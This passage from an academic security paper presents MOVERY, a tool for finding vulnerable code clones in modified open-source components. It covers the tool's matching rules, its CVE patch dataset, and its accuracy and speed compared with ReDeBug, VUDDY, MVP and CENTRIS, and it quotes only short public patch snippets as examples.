Using this method, MOVERY can only focus on the code
where VCCs could exist. Moreover, MOVERY can skip the
vulnerabilities originating in the OSS that are not reused in
T ; consequently, this method increases the VCC discovery
scalability and performance (see Section 5.5).
Selective abstraction. MOVERY applied normalization and
abstraction to all code lines in the signatures in P1 to address
code changes that preserve the semantics of functions. How-
ever, we noted that simple abstraction matching, as used in
existing techniques, may impair the VCC discovery accuracy.
For example, VUDDY [17] changes all variable names to the
symbol DVAL at the time of abstraction, and then uses them
for matching; if a security patch only changes variable names
for fixing vulnerability (e.g., Listing 5), VUDDY cannot dis-
tinguish vulnerable and patched functions.

Thus, we devised the selective abstraction matching. The
main idea is as follows: if the abstracted syntaxes of the
vulnerable and patched functions are the same, MOVERY con-
siders only the normalized code lines in the signatures. To this
end, MOVERY first applies normalization and abstraction to
the entire code lines of fd and fp, respectively. If the syntaxes
of fd and fp with abstraction are different, the abstracted code
lines in the signatures are used for matching (e.g., “abst” in
Listing 7). However, if they are the same, this suggests that
the security patch changes the part where the abstraction is
applied; thus, MOVERY uses only the normalized code of the
signatures in matching (e.g., “norm” in Listing 7).

Discovering vulnerable code clones. Finally, MOVERY com-
pares the vulnerability (Sv) and patch signatures (Sp) with
the identified borrowed code part of the target software, to
discover vulnerable code clones.

⋄Definition IV. Vulnerable code clone.

We define a function f in T is a vulnerable code clone
if it satisfies the following conditions.

• Cond 1) f should contain all code lines in Sv.
∀l∈Sv .(l ∈ f )

• Cond 2) f should not contain any code lines in Sp.
∀l∈Sp .(l /∈ f )

• Cond 3) The syntax of f should be similar to fo or fd .
(Sim( f , fo)≥ θ)∨ (Sim( f , fd)≥ θ)

MOVERY considers a function f as a VCC candidate if
it contains every code line in Sv and does not include all
code lines in Sp. To avoid false positives that occur when the
code lines contained in signatures are very few and general,
MOVERY considers the syntax similarity between f and vul-
nerable functions (i.e., Cond 3): MOVERY splits f and the
vulnerable functions into sets of code lines, and then mea-
sures the Jaccard similarity [46] between them

(
i.e., (| f ∩ fd |

/ | f ∪ fd |) and (| f ∩ fo| / | f ∪ fo|)
)
. Considering external OSS

modifications, we set the threshold (θ) used for Cond 3 to a
small value (e.g., 0.5). As a result, if a function satisfying the
three conditions is discovered in the target software, MOVERY
determines that the function is a vulnerable code clone.

In a general situation, all three conditions are considered.
To cover more various types of vulnerabilities, MOVERY con-
siders combinations of the conditions as follows:

(1) If no code line is added to the security patch, MOVERY
uses only vulnerability signatures in VCC discovery (i.e.,
considering Conds 1 and 3).

(2) If the security patch does not contain deleted code lines,
MOVERY uses only patch signatures in VCC discovery
(i.e., considering Conds 2 and 3).

(3) If fo does not exist (e.g., the vulnerability only exists
in a single OSS version), we determine that internal
modification cannot occur, and MOVERY uses only fd
in the signature generation and in Cond 3.

(4) If the code line sets of vulnerable and patched functions
are the same (e.g., when a security patch only changes
the order of code lines), MOVERY records the order of
the code lines of the vulnerable function. When a func-
tion f satisfying Conds 1 and 3 appears, MOVERY deter-
mines that f is vulnerable only when the code line order
of the vulnerable function is maintained in f .

Our experimental results demonstrate that MOVERY can
also discover such VCCs with high accuracy; note that these
four cases are not dominant (i.e., less than 30%).
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Table 2: Vulnerability dataset overview.
Category Count (#)

Security patches 4,219
Disclosed vulnerable and patched function pairs 7,762
Oldest vulnerable functions 5,936

4 Implementation of MOVERY

In this section, we introduce the implementation of MOVERY,
including the vulnerability dataset and the architecture.

4.1 Vulnerability dataset

Collecting security patches. We collected security patches
by leveraging the method used in the previous approaches [19,
32]; we examined CVEs in the National Vulnerability
Database (NVD) and checked if git commit URLs (i.e., secu-
rity patch commits) were included in the references. We then
gathered security patches by crawling such patch commits
from the corresponding Git repositories. We chose the C/C++
vulnerabilities as our initial targets, because code fragments
reuse and modified OSS reuse are prominent in C/C++ soft-
ware [17, 47–49]. Consequently, we collected 4,219 C/C++
security patches from the NVD (as of March 2021).

Reconstructing functions. We then reconstructed vulnerable
and patched functions from the collected security patches. We
focused on the header of a security patch, which provides file
commits before and after applying the patch [17, 49]. For ex-
ample, in Listing 3, “aafa3dca2” and “d02e11328” indicate
the commit of the vulnerable and patched file, respectively.
After accessing the vulnerable (resp. patched) file, we ex-
tracted every function containing code lines deleted (resp.
added) from the patch as the disclosed vulnerable function fd
(resp. patched function fp). Here we excluded ( fd , fp) pairs
that the code changes were not intended to fix vulnerabilities,
such as comment or whitespace changes.

To reconstruct the oldest vulnerable function ( fo), we identi-
fied the oldest vulnerable version of the software from which
the vulnerability originated, by referring to Common Plat-
form Enumeration (CPE) [30] of the NVD. Since NVD may
provide incorrect CPEs for some CVEs [47], we manually
examined versions sequentially starting from the oldest ver-
sion specified in the CPE: if a version containing a function
with the same name as fd is first detected, we determined that
the version is the oldest vulnerable version. When software
is maintained with parallel versioning (e.g., OpenSSL 1.0.0*
and 1.0.1*), we infer the version order based on the version
release date. We then accessed the oldest vulnerable version
and extracted fo that: (1) had the same name as fd , and (2) ex-
isted in the path of the vulnerable file; we did not reconstruct
fo where the syntax of fo was the same as that of fd .

Consequently, we reconstructed 7,762 ( fd , fp) pairs and
5,936 oldest vulnerable functions (see Table 2).

Dataset observations. We noted that internal modifications
of OSS can play a leading role in the syntax diversity of
vulnerable codes. To be specific, among the 5,936 vulnerable
functions that exist in multiple OSS versions, we found the
4,623 cases (78%) where fd and fo had different syntaxes.
When we measured the Jaccard similarity between every fd
and fo pair, the average similarity score was 56%. The facts
that fo and fd are different in many cases (i.e., 78%) and
that OSS internal updates change the vulnerable code syntax
on average by 44%, suggest that internal OSS modifications
should be considered in VCC discovery.

4.2 Architecture
MOVERY comprises the following three modules: (1) a
dataset collector, (2) a signature generator, and (3) a VCC
discoverer. The dataset collector gathers security patches and
reconstructs vulnerable and patched functions. The signa-
ture generator, literally, generates vulnerability and patch sig-
natures for every collected vulnerability. Finally, the VCC
discoverer performs the actual vulnerable code clone discov-
ery on the target software. Each module consists of 800 to
1,000 lines of Python code, excluding external libraries such
as function parsers. The source code of MOVERY is pub-
licly available at https://github.com/wooseunghoon/
MOVERY-public.

Function parser and analyzer. To extract functions from vul-
nerable files, patched files, and the target software, we utilized
universal Ctags [6], a precise and fast open-source function
parser. In addition, we used the Joern parser [50] to examine
control and data dependencies of functions for generating
signatures. In particular, MOVERY generates a code property
graph (i.e., a graph that incorporates an abstract syntax tree,
a control flow graph, and a program dependency graph) of
the extracted vulnerable and patched functions using Joern
parser; from the graph, MOVERY can obtain (1) the entire
control flow of the function, and (2) dependencies between
each code line, which are used to generate signatures.

5 Evaluation
In this section, we evaluate MOVERY. Section 5.1 investigates
how accurately MOVERY discovers VCCs in modified com-
ponents, compared to existing VCC discovery techniques (i.e.,
VUDDY [17] and ReDeBug [14]). Section 5.2 and Section
5.3 compare MOVERY to the recurring vulnerability detection
technique (i.e., MVP [49]) and the SCA-based technique (i.e.,
CENTRIS [48]), respectively, We evaluate the speed and scal-
ability of MOVERY in Section 5.4, and introduce the efficacy
of the search space reduction in Section 5.5. Finally, Section
5.6 presents a case study observed in our experiments. We
ran MOVERY on a machine with Ubuntu 16.04, Intel Xeon
Processor @ 2.40 GHz, 32GB RAM, and 6TB HDD.
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Table 3: Target software overview.
IDX Name Version #Line∗ #Comp† Domain
T1 FreeBSD v12.2.0 14,489,534 47 Operating system
T2 ReactOS v0.4.13 6,419,855 23 Operating system
T3 ArangoDB v3.7.9 3,064,973 22 Database
T4 FFmpeg n4.3.2 1,230,520 4 Multimedia processing
T5 OpenCV v4.5.1 1,092,317 15 Computer vision
T6 Emscripten v2.0.15 759,020 11 Compiler
T7 Crown v0.42.0 723,372 20 Game engine
T8 Git v2.31.0 293,467 5 Version control system
T9 OpenMVG v1.6 262,610 8 Image processing
T10 Redis v5.0.12 212,672 8 Database

Total - - 28,548,340 190 -
*: Counting only C/C++ code lines, †: The number of modified OSS components.

5.1 Accuracy of MOVERY

Target software selection. We selected target software based
on the following three criteria to claim the generality of
MOVERY: they (1) should be popular C/C++ OSS, (2) should
contain a sufficient number of modified components, and (3)
should not be biased toward any particular domain.

We first collected C/C++ repositories from GitHub that
exhibit more than 1,000 stargazer counts, i.e., a popularity
indicator on GitHub. We then leveraged CENTRIS [48] to
rank the collected software based on the number of modified
OSS components. While examining the ranked software in
descending order, we selected target software for which one
or more VCCs were discovered by MOVERY.

Table 3 summarizes the selected ten target software pro-
grams. They were selected based on clear criteria, were ob-
tained from diverse domains and had various code sizes (i.e.,
ranging from 212,672 to 14,489,534 C/C++ lines of code),
thus we decided that the selected target software can add gen-
erality to the experiments. Note that the cumulative code size
of our dataset is 80 times larger than that used in VUDDY [17],
and almost the same as the dataset used in MVP [49].

Methodology. We selected two VCC discovery techniques
for accuracy comparison: ReDeBug [14] and VUDDY [17].
We applied MOVERY, ReDeBug, and VUDDY to ten target
software and evaluated the VCC discovery results. We used
ReDeBug and VUDDY with their default options by referring
to their papers [14, 17]. We selected θ as 0.5 in MOVERY
(related experiments are introduced at the end of this section).

To evaluate the accuracy, we used the following five met-
rics: true positives (TP), false positives (FP), false negatives
(FN), precision ( #TP

#TP+#FP ), and recall ( #TP
#TP+#FN ). Because it

is infeasible to find every vulnerable code in the target soft-
ware, we cannot easily determine FNs. Therefore, we only
measure indisputable FNs; for example, FNs of MOVERY are
the VCCs (i.e., not FPs) detected by VUDDY and ReDeBug
but not discovered in MOVERY [17, 49]. TPs and FPs are de-
termined by manual verification performed by two security
analysts. We manually viewed the discovered VCCs and the
environment where the vulnerability manifested to determine
whether the discovered VCC is correct.

Listing 8: A patch snippet for CVE-2014-9669 in FreeType2.
1 tt_cmap12_validate (...) {
2 num_groups = TT_NEXT_ULONG( p );
3 if ( length > (FT_ULong)( valid->limit - table ) ||
4 - length < 16 + 12 * num_groups )
5 + /* length < 16 + 12 * num_groups ? */
6 + length < 16 ||
7 + ( length - 16 ) / 12 < num_groups )

Listing 9: The oldest vulnerable function snippet for CVE-2014-
9669. Highlighted areas indicate the code parts that differ from
the disclosed vulnerable function.
1 // Extracted from FreeType2 v2.1.10 ("./src/sfnt/ttcmap.c").
2 tt_cmap12_validate (...) {...
3 num_groups = TT_NEXT_ULONG( p );
4 if ( table + length > valid->limit || length < 16 + 12 *

num_groups )

Overview of accuracy measurement. Table 4 summarizes
the VCC discovery results of MOVERY, VUDDY, and ReDe-
Bug. The discovered 434 VCCs were found from 121 CVEs.
Specifically, CVE vulnerabilities that were discovered in Re-
actOS contained many vulnerable functions, thus the number
of discovered VCCs was considerable.

Owing to the OSS modifications, 396 VCCs (91%) existed
in a different syntax to the disclosed vulnerable function. Nev-
ertheless, MOVERY discovered 415 VCCs with 96% preci-
sion and 96% recall, whereas ReDeBug discovered 163 VCCs
with 65% precision and 38% recall and VUDDY discovered
72 VCCs with 77% precision and 17% recall (Appendix A
presents the modification types and Appendix B provides the
severity and vulnerability types of the discovered VCCs).

Notably, the VCC discovery results of MOVERY included
all VCCs discovered by VUDDY, and covered 144 (88%)
VCCs discovered by ReDeBug, whereas VUDDY and ReDe-
Bug were only able to cover 72 (17%) and 144 (35%) VCCs
discovered by MOVERY, respectively.

FNs of ReDeBug and VUDDY. Existing techniques failed
to discover many VCCs owing to the OSS modifications. Re-
DeBug did not discover 271 VCCs (62.4%) where the code
lines deleted in the security patch did not exist, or the code
syntax was modified beyond what ReDeBug could handle.
VUDDY failed to discover 362 VCCs (83.4%), in which modi-
fications occurred in code parts other than that VUDDY could
address (e.g., Type-3 clones). An example is CVE-2014-9669,
an integer overflow vulnerability that exists in FreeType2 (see
Listing 8). We confirmed that line #4 in Listing 8 (i.e., defined
as the vulnerable line by ReDeBug and VUDDY) existed in
the oldest vulnerable function as a different syntax (i.e., line
#4 in Listing 9) because of the internal OSS modification,
resulting in yielding FNs of ReDeBug and VUDDY.

FPs of ReDeBug and VUDDY. The reasons for FPs in
ReDeBug were the lack of code normalization and the ex-
clusion of function semantics. Security patch may contain
non-security changes (e.g., comments changes). Owing to the
lack of code normalization, ReDeBug misinterpreted that the
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Table 4: Accuracy of ReDeBug, VUDDY, and MOVERY in vulnerable code clone discovery.

Target software #Discovered
VCCs

ReDeBug VUDDY MOVERY

#TP #FP #FN Precision Recall #TP #FP #FN Precision Recall #TP #FP #FN Precision Recall
ReactOS 210 31 9 179 0.78 0.15 8 0 202 1.00 0.04 207 3 3 0.99 0.99
OpenCV 72 38 15 34 0.72 0.53 26 2 46 0.93 0.36 72 3 0 0.96 1.00

Emscripten 56 22 8 34 0.73 0.39 9 1 47 0.90 0.16 50 4 6 0.93 0.89
FreeBSD 33 25 44 8 0.36 0.76 6 16 27 0.27 0.18 27 4 6 0.87 0.82

Crown 23 22 2 1 0.92 0.96 14 2 9 0.88 0.61 23 2 0 0.92 1.00
OpenMVG 23 15 5 8 0.75 0.65 4 0 19 1.00 0.17 19 0 4 1.00 0.83
ArangoDB 6 4 1 2 0.80 0.67 2 0 4 1.00 0.33 6 2 0 0.75 1.00

FFmpeg 5 2 2 3 0.50 0.40 0 1 5 0.00 0.00 5 1 0 0.83 1.00
Redis 5 3 0 2 1.00 0.60 3 0 2 1.00 0.60 5 0 0 1.00 1.00
Git 1 1 1 0 0.50 1.00 0 0 1 N/A 0.00 1 0 0 1.00 1.00

Total 434 163 87 271 0.65 0.38 72 22 362 0.77 0.17 415 19 19 0.96 0.96

Table 5: VCCs that are hardly discovered by existing techniques.
Types Description

T1 VCCs without code lines deleted in security patches.
T2 VCCs with various syntaxes derived from fo.
T3 VCCs with heavy syntax change.

Listing 10: A patch snippet for CVE-2017-14039 in OpenJPEG.
1 static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k, ...,
2 const opj_stream_private_t *p_stream,
3 opj_event_mgr_t * p_manager){
4 ...
5 OPJ_UNUSED(p_stream);
6 - OPJ_UNUSED(p_manager);

code to which non-security changes were not applied to be
vulnerable. In addition, ReDeBug misinterpreted a patched
function as vulnerable when the last few added code lines are
the same as the code lines before the added code lines [17,49].
The FPs of VUDDY were caused by abstraction; if a security
patch only fixes VUDDY’s abstraction targets (e.g., variable
names), VUDDY cannot differentiate between vulnerable and
patched functions, producing FPs.

The accuracy of MOVERY. Table 5 summarizes the types
of VCCs that were discovered by MOVERY but hardly discov-
ered by ReDeBug and VUDDY. Among the 396 VCCs (TPs)
discovered by MOVERY, 32 VCCs (8%) belonged to T1, and
221 VCCs (56%) showed a higher code similarity with fo than
that with fd (T2); 166 of 221 VCCs exhibited that the code
similarity with fd was less than 50% (T3). Because MOVERY
can address the modified OSS reuse, it could discover such
VCCs. Using selective abstraction, MOVERY could eliminate
21 out of 22 FPs reported by VUDDY. MOVERY could dis-
cover 34 Type-2 [34] VCCs that ReDeBug could not discover.

However, MOVERY produced FPs when the abstraction
was applied to similar code lines in a function. For example,
after applying abstraction, both lines #5 and #6 in Listing 10
are converted to “FCALL(PARAM);”. Hence, even if the patch
was applied, MOVERY misinterpreted that the vulnerable line
still existed, producing an FP. Another reason for FPs is syn-
tactically similar functions. Suppose that security patches p
and p′ are applied to syntactically similar functions f and f ′,
respectively. In such rare cases, MOVERY misinterprets that
p′ (resp. p) is not applied to f (resp. f ′), producing FPs.
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Figure 3: Experimental results for measuring efficiency of θ.

MOVERY reported FNs when semantically similar but syn-
tactically changed code appeared (e.g., for → while), or when
the similarity between a VCC and the vulnerable function
was less than θ. However, simply decreasing θ may yield
more FPs; we believe that the current MOVERY approach
offers a good balance of precision and recall, as MOVERY
significantly outperformed existing techniques.

Threshold sensitivity. We used the θ value as 0.5 in the
VCC discovery experiments. To measure threshold sensitivity,
we evaluated each VCC discovery result of MOVERY while
increasing θ by 0.1 from 0 to 1. Because it is infeasible to
verify the numerous newly discovered VCCs, we measured
the precision and recall with each θ based on the previously
discovered 434 VCCs. In addition, we evaluated each θ by
measuring the F1-score [45]

( 2∗precision∗recall
precision+recall

)
, as we focused

on the balance between precision and recall.
Figure 3 presents the measurement results. We confirmed

that the F1-score appeared the highest when θ was 0.5. For
Crown and Emscripten, the F1-score was higher when θ is
greater than 0.5; this is because the ratio of modified VCCs
was small and thus FPs decreased at higher θ. Overall, the
precision drops when θ is less than 0.5, while recall decreases
when θ is greater than 0.6. Hence, we believe that θ of 0.5
maintains a good balance between high precision and recall.

One thing to note is that MOVERY can discover 15 VCCs
that were not discovered in the previous experiments when it
utilizes θ less than 0.5. In contrast, MOVERY still produces
4 FNs and 3 FPs even when θ is 0 and 1, respectively; we
discuss this issue in Section 6 in detail.
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Table 6: VCC discovery results of MVP and CENTRIS.
Name #VCCs∗ #TP #FP #FN #Unique† Precision Recall
MVP 266 220 46 184 8 0.83 0.54

CENTRIS 553 281 272 152 37 0.51 0.65
*: #VCCs discovered for ten target software, †: #VCCs not discovered by MOVERY.

5.2 Comparison with MVP
We then compare MOVERY with MVP [49], a recurring vul-
nerability detection technique, to demonstrate that MOVERY
is more effective in discovering VCCs from modified compo-
nents. Since MVP is not available owing to the commercial
issue, we implemented MVP based on their paper [49] with
their default options.

Result analysis. When we applied MVP to ten target software,
it discovered 220 VCCs (i.e., TPs) while reporting 46 FPs and
184 FNs (see Table 6). It is noteworthy that MVP hardly dis-
covered VCCs belonging to T1 and T2 (see Table 5), because
MVP does not consider internal OSS modifications. MVP can
only discover VCCs that contain all the code lines deleted
from the security patch, and therefore it failed to discover 32
VCCs that do not contain such deleted code lines (T1). In
addition, MVP failed to discover 142 VCCs with various syn-
taxes derived from fo (T2). Specifically, variable types and
caller function names in vulnerable functions are frequently
changed during internal OSS modifications; MVP does not
consider such changes, thereby yielding FNs. The remaining
FNs were caused by semantically similar but syntactically
changed code and threshold issues, similar to MOVERY.

MVP produced 46 FPs owing to the (1) syntactically simi-
lar functions and (2) the abstraction method. MVP misinter-
preted a safe function as vulnerable when the function has a
similar syntax to the vulnerable function but is semantically
different (11 FPs). The remaining 35 FPs were caused by
the abstraction method: if the security patch only fixes the
abstraction targets of MVP (e.g., variable names), MVP fails
to differentiate between a vulnerable function and a patched
function, producing FPs. Note that MOVERY could eliminate
31 of 35 FPs by utilizing the selective abstraction method.

Finally, MVP discovered 8 VCCs that MOVERY misses;
all of these are VCCs with syntax similarities less than θ to
the disclosed vulnerable functions; two of these VCCs were
also not found in VUDDY and ReDeBug.

Our analysis results affirmed that MVP, which is not ca-
pable of addressing internal OSS modifications, may not be
effective in discovering VCCs from modified components as
it reported much more FNs (i.e., 184 FNs) than MOVERY.

Threats to validity. Although we implemented MVP based
on their paper, some functions may not be reproduced per-
fectly. In addition, the purpose of MVP is to detect recur-
ring vulnerabilities and not to discover propagated vulnerable
codes. Our intention is not to deny the effectiveness of MVP,
but to demonstrate that MOVERY is more efficient in discov-
ering VCCs from modified components.

5.3 Comparison with CENTRIS

Several existing approaches (e.g., [9, 48]), including com-
mercial tools such as Trivy [1] and Black Duck [38], have
attempted to discover vulnerabilities contained in OSS com-
ponents by clarifying reused OSS components and their ver-
sions. However, they do not seem to consider the modified
OSS reuse, and further, they do not disclose detailed vulnera-
bility discovery algorithms (even their algorithms frequently
change). Hence, we decided to compare the VCC discov-
ery results of MOVERY with CENTRIS [48], a recent SCA
technique for identifying modified OSS components.

To investigate the vulnerabilities that affect the identified
components, we utilized the “product search” and “version
search” provided by CVE Details [7], i.e., functionalities for
providing CVEs that affect a given software name and version.
For every component identified in each target software, we in-
vestigated CVEs affecting the component and then considered
them the VCCs discovered by CENTRIS.

Result analysis. In our experiments, CENTRIS-based ap-
proach discovered 553 VCCs in ten target software, of which
272 (49%) VCCs were confirmed to be FPs (see Table 6).
Such FPs occurred when: (1) the vulnerable code was not
reused, or (2) the vulnerable code was patched through back-
porting (an example is introduced in Section 2.2).

Furthermore, the CENTRIS-based approach failed to dis-
cover 152 (38%) out of 396 VCCs discovered by MOVERY, es-
pecially when (1) there is a vulnerability in a component that
CENTRIS failed to identify, or (2) CENTRIS predicted incor-
rect version information. Finally, CENTRIS-based approach
discovered 37 VCCs that were not discovered by MOVERY.
We observed that all of them were the cases where security
patches did not be released via Git; if these patches are added
to our dataset, MOVERY can also discover them.

Consequently, we confirmed that discovering vulnerabili-
ties simply based on the component name and version pro-
duced many false results, especially FPs (i.e., 272 FPs), owing
to the OSS modifications. This demonstrates that MOVERY
considerably outperformed the SCA-based approach in terms
of discovering vulnerabilities from modified components.

5.4 Speed and scalability of MOVERY

In this section, we evaluate the speed and scalability of
MOVERY in VCC discovery. We classify the total time tak-
ing to discover VCCs into signature generation (i.e., the
elapsed time for generating signatures), target preprocessing
(i.e., the elapsed time for analyzing the target software), and
matching times (i.e., the elapsed time required to discover the
VCCs). We measured all the times for MOVERY, ReDeBug,
and VUDDY, and then compared the results.

Signature generation time. The signature generation time
using the collected 4,219 security patches (see Table 2) was
2 h in VUDDY and 32 h in MOVERY; because ReDeBug
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(a) Target preprocessing times. (b) Matching times. (c) Total times (preprocessing + matching).
Figure 4: Target preprocessing and matching time spent on target software with various sizes.

utilized the security patches as they were, there was no need
for signature generation time. Unlike VUDDY, which simply
extracts vulnerable functions, MOVERY required more time
as it needed to reconstruct the oldest vulnerable functions and
analyze the code line dependencies of functions; note that the
signature generation is a one-time task.

Target preprocessing and matching times. Figure 4 shows
the target preprocessing and matching times for the three tools.
The results present the following three main observations.

(1) VUDDY requires the longest target preprocessing time.
(2) MOVERY requires the longest matching time.
(3) In total elapsed time, MOVERY requires the least amount

of time and VUDDY requires the longest time (owing to
its long preprocessing time).

To precisely discover VCCs, MOVERY used the finer granular-
ity (i.e., a set of code lines) that is slower than function units
in VCC discovery [17], and further considered dependencies
of code lines in matching, resulting in a longer matching time
than ReDeBug and VUDDY. Nevertheless, (1) target prepro-
cessing and matching could be performed within 200 s in
MOVERY per target software (i.e., the fastest among the three
tools) and (2) the time was not significantly increased even
when the lines of code of the target software varied from
213 K to 14.5 M (see Table 3), suggesting that MOVERY is
sufficiently fast and scalable for practical use.

5.5 Efficacy of the search space reduction
To reduce the VCC search space, MOVERY focuses only on
the borrowed code parts of the target software. Here we eval-
uate the efficacy of the search space reduction technique.

Scalability improvement. The cumulative number of direc-
tories and code lines in ten target software were 539,781 and
28,548,340, respectively. When considering only borrowed
code parts, the number of directories decreases to 375,489
(70%), and the number of code lines to be scanned was re-
duced by 15,130,620 (53%), suggesting that MOVERY can
skip approximately half of the software’s codebase that does
not need to be scanned, which ensures higher scalability.

Accuracy enhancement. In addition, we confirmed that fo-
cusing on borrowed code parts can reduce FPs in VCC discov-
ery. Existing approaches search VCCs for the entire codebase;
searching for “propagated” VCCs outside the “reuse” code
regions makes existing approaches misinterpret a function,

which has similar syntax but completely different semantics
with vulnerability signature, as a VCC, thereby producing
more FPs. Quantitatively, 3 FPs and 24 FPs of VUDDY and
ReDeBug were discovered outside of the “reuse” code re-
gions, respectively. MOVERY was able to reduce such FPs by
considering only the vulnerabilities of the reused OSS and
the code parts where the OSS exists.

5.6 Case study: Vulnerability in Git
MOVERY discovered that the fix for CVE-2019-9169 (i.e.,
a heap-based buffer over-read vulnerability existed prior to
Glibc v2.30) is not applied to the latest version of Git, which
is one of the most popular version control systems. Since
Git reused an older version of Glibc earlier than v2.27, the
syntax of the VCC discovered in Git was quite different (i.e.,
the syntax similarity was 65%) from that specified in the
disclosed patch for CVE-2019-9169. Worse, we confirmed
that this vulnerability can still cause memory leaks in the
latest version of Git. We responsibly reported this to the Git
team; they confirmed our report and replied that it will be
addressed in a later task because they determined that this
vulnerability does not presently pose a serious threat (we
discuss responsible vulnerability disclosure in Section 6).

6 Discussion

Threshold setting. We used two threshold values: we skipped
normalized code lines when the number of characters is less
than 15, and used θ of 0.5 in the experiment. Since the related
experiments of the latter case were introduced in Section 5.1,
here we only discuss the former case.

Skipping short code lines was determined from our obser-
vations: when we manually inspected normalized code lines
with less than 15 characters, more than 90% were observed as
frequently appearing in non-vulnerable codes such as return
statements, common-named variable declarations, parenthe-
ses, “else”, and “continue” statements. If the vulnerability
signature includes such a short code line, it could potentially
lead MOVERY to produce FPs. When we slightly increased
the character-length limit (e.g., 16 or 17), we observed that the
ratio of non-vulnerable code lines decreased. Therefore, we
set the threshold value as 15 characters. Note that this thresh-
old is dependent on the vulnerability dataset. If MOVERY
is applied in a different vulnerability dataset, this threshold
needs to be adjusted.
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Use of the oldest vulnerable function. When generating sig-
natures, MOVERY considers the oldest vulnerable function to
address internal OSS modifications. In fact, MOVERY can use
any older version’s vulnerable function whose syntax differs
from the disclosed vulnerable function; the reason for select-
ing the oldest one is to cover more internal modifications.

We introduce the rationale behind considering only the
common code line between the oldest ( fo) and disclosed vul-
nerable functions ( fd). Suppose we want to extract essential
vulnerable code lines (see Section 3.1) from the vulnerable
functions. Such essential vulnerable code lines can (1) exist
in both fo and fd , (2) not exist in both fo and fd , or (3) exist
in either one. Let vo be the oldest vulnerable version, and vd
be the latest (i.e., disclosed) vulnerable version. Here we can
make two inferences. First, if the essential vulnerable code
lines do not exist in both fo and fd , then vo and vd should be
excluded from the versions affected by vulnerability. Next, if
the essential vulnerable code lines exist only in fd and not in
fo, then vo should be left out of the affected versions.

Based on these inferences, we can conclude that the es-
sential vulnerable code lines are simultaneously included in
fo and fd as long as the version information affected by the
vulnerability includes both vo and vd . In this context, we can
justify our approach as long as the NVD, which is our data
source (see Section 4.1), provides correct CPE.

Vulnerability disclosure. We reported 14 triggerable VCCs
(e.g., using Proofs-of-Concept), which were discovered in
the target software such as Git and OpenMVG, and in other
popular OSS projects such as LibAV and LibGDX, to the
development teams; it is noteworthy that 10 out of 14 VCCs
were discovered only in MOVERY and not in previous VCC
discovery techniques (e.g., [14, 17, 49]).

(1) Vulnerability confirmed.Nine development teams con-
firmed our vulnerability reports, of which two of them
were patched, and another two of them will be resolved.

(2) Under discussions. For the remaining five cases, we are
still discussing or waiting for answers (e.g., LibAV and
OpenMVG), of which one pull request is pending.

Other VCCs that have not yet been successfully reproduced
are on hold to report because we can hardly receive a response
from the development teams even if reported. We will not
disclose any VCCs until a security patch is applied, and we
plan to trigger such VCCs with the help of a collaborator or
refer to the related approaches (e.g., [18, 27]) for triggering a
propagated vulnerability; if a VCC is successfully reproduced,
we will immediately report it to the development team.

Limitations. MOVERY leverages some assumptions that can
limit its application. First, MOVERY can discover VCCs when
the source code for the target software is available; if the
control and data dependencies of functions in a binary can be
accurately investigated, we expect that the methodology of
MOVERY may be applied to binary-level VCC discovery.

Second, NVD may provide incorrect CPEs for some
CVEs [8,47], which could impair the accuracy of reconstruct-
ing older vulnerable functions. Although we manually verified
the CPEs (see Section 4.1), this is inefficient for practical use,
and if the correct version range (CPEs) of a vulnerability is
provided, the effectiveness of MOVERY will be improved.

Third, MOVERY considers vulnerabilities within functions
and cannot discover VCCs whose patches are out of functions
(e.g., inter-functional or C preprocessor-dependent vulnera-
bilities). Because MOVERY considers a function as a basic
unit, it cannot address C preprocessor-dependent vulnerabili-
ties, but we are considering addressing inter-functional vul-
nerabilities by including the correlation information of such
inter-functions (e.g., inter-function data flows) into signatures.

Last, even if we set θ to extremes (i.e., 0 and 1), MOVERY
still produces 4 FNs and 3 FPs; FNs were caused by VCCs
with similar semantics but syntactically changed code, and
FPs were produced owing to the syntactically similar func-
tions with different patches applied (see Section 5.1). If
MOVERY can handle Type-4 clones and if abstraction is not
used, such FNs and FPs can be reduced, respectively. How-
ever, this may rather compromise the scalability and accuracy
of MOVERY. Therefore, we retain the current MOVERY ap-
proach, which showed much superior performance than the
existing approaches, and leave solving FPs and FNs that are
independent of θ for future work.

7 Related Work

In this section, we introduce a number of related techniques.

Code clone detection techniques. There are numerous tech-
niques attempting to detect code clones (e.g., [4,10,15,16,24,
28, 29, 33–36, 41, 42]). However, their concern is not discov-
ering a vulnerable code clone; because such techniques do
not consider the vulnerability characteristics, they yield many
FPs when applied to VCC discovery [17, 49].

Software composition analysis techniques. Several tech-
niques attempt to identify OSS components in the target soft-
ware (e.g., [2, 9, 21, 25, 39, 48, 51, 52]); some of these can
be applied to discover known vulnerabilities in OSS compo-
nents. For example, Duan et al. [9] proposed OSSPolice to
identify 1-day security vulnerabilities from the libraries of an
Android application. OSSPolice utilized constant features to
extract the versions of libraries, and determined if vulnerable
versions were used in the target Android application. Zhan
et al. [51] proposed ATVHunter to precisely detect versions
of third-party libraries by using the control flow informa-
tion of an Android application. Using the identified versions,
ATVHunter verified whether the target application contained
known security vulnerabilities. However, if developers back-
port security patches to the vulnerability or do not reuse the
vulnerable code, these techniques produce FPs (see Section
5.3). Hence, they are insufficient to solve our target problem.
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VCC discovery techniques. Jang et al. proposed ReDe-
Bug [14], which is a token-based VCC discovery approach
using the slicing window technique. Kim et al. proposed
VUDDY [17], a function-level scalable VCC discovery tech-
nique. Bowman et al. proposed VGRAPH [3], a CPG-based
VCC discovery technique, which is more robust to code mod-
ification, especially for Type-3 code clones. Xiao et al. pro-
posed MVP [49], a recurring vulnerability detection approach.
By considering only the sliced code lines that are directly
related to vulnerabilities, MVP can discover VCCs with low
syntax similarity of disclosed vulnerable functions.

However, these existing techniques (1) cannot precisely
discover modified VCCs caused by internal OSS modifica-
tions, and (2) can only discover VCCs with code lines that
have been deleted from security patches, thereby showing
low accuracy when applied to our target problem (see Sec-
tion 5.1 and Section 5.2). Some other techniques attempted
to discover vulnerable codes based on learning algorithms
(e.g., [22, 23]) or to detect buggy codes (e.g., [20, 26]). They
hold the promise of detecting general vulnerable or buggy
code, however, they are not capable of precisely discovering
VCCs propagated by modified OSS reuse.

8 Conclusion

Discovering propagated vulnerabilities from modified OSS
components is a pressing issue, because unpatched vulnerabil-
ities can pose a critical threat to the entire software. In regards
to this, we present MOVERY, a precise approach that discov-
ers VCCs from modified OSS components. Our experimen-
tal results affirmed that MOVERY significantly outperformed
existing VCC discovery techniques in terms of VCC discov-
ery accuracy. Equipped with VCC discovery results from
MOVERY, developers can address potential threats caused
by propagated vulnerabilities in modified OSS components,
